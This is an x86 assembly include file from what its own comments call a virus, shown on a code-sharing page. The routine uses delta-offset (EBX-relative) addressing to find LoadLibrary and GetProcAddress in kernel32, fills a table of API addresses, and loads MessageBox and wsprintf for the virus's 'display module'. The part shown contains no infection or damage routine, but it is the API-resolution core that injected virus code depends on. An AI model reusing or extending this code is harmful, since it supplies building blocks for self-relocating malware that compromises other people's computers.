📄 _getallapi.inc
字号:
;###########################################################################
;# 加载所有要使用的API函数 #
;###########################################################################
;###########################################
;# 得到kernel32.dll中的核心函数 #
;# => LoadLibrary 与 GetProcAddress #
;###########################################
LEA EDX , [EBX + _GetKernelApi]
LEA EAX , [EBX + G_szLoadLibrary]
PUSH EAX
CALL EDX
MOV [EBX + G_pLoadLibrary ] , EAX
LEA EAX , [EBX + G_szGetProcAddress]
PUSH EAX
CALL EDX
MOV [EBX + G_pGetProcAddress ] , EAX
;###########################################
;# 由核心函数加载所有需要的函数 #
;# 由 G_ApiNameArray指向的所有API函数 #
;# 并存入 G_ApiAddressArray 指向地址中 #
;###########################################
PUSH D_NumberOfApis
POP ECX
MOV EDX , ESI
LEA ESI , [EBX + G_ApiNameArray]
LEA EDI , [EBX + G_ApiAddressArray]
@@:
PUSH ECX
PUSH EDX
MOV EAX , [ESI]
ADD EAX , EBX
PUSH EAX
PUSH EDX
CALL [EBX + G_pGetProcAddress]
MOV [EDI] , EAX
ADD ESI , 4
ADD EDI , 4
POP EDX
POP ECX
LOOPNZ @B
;###########################################
;# 加载病毒表现模块用到的API #
;###########################################
LEA EAX , [EBX + G_szUser32]
PUSH EAX
CALL [EBX + G_pLoadLibrary]
LEA EDX , [EBX + G_szWsprintf]
PUSH EDX
PUSH EAX
LEA EDX , [EBX + G_szMessageBox]
PUSH EDX
PUSH EAX
CALL [EBX + G_pGetProcAddress]
Mov [EBX + G_pMessageBox] , EAX
CALL [EBX + G_pGetProcAddress]
MOV [EBX + G_pWSprintf] , EAX
;###########################################################################
;# 加载所有API结束 #
;###########################################################################
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -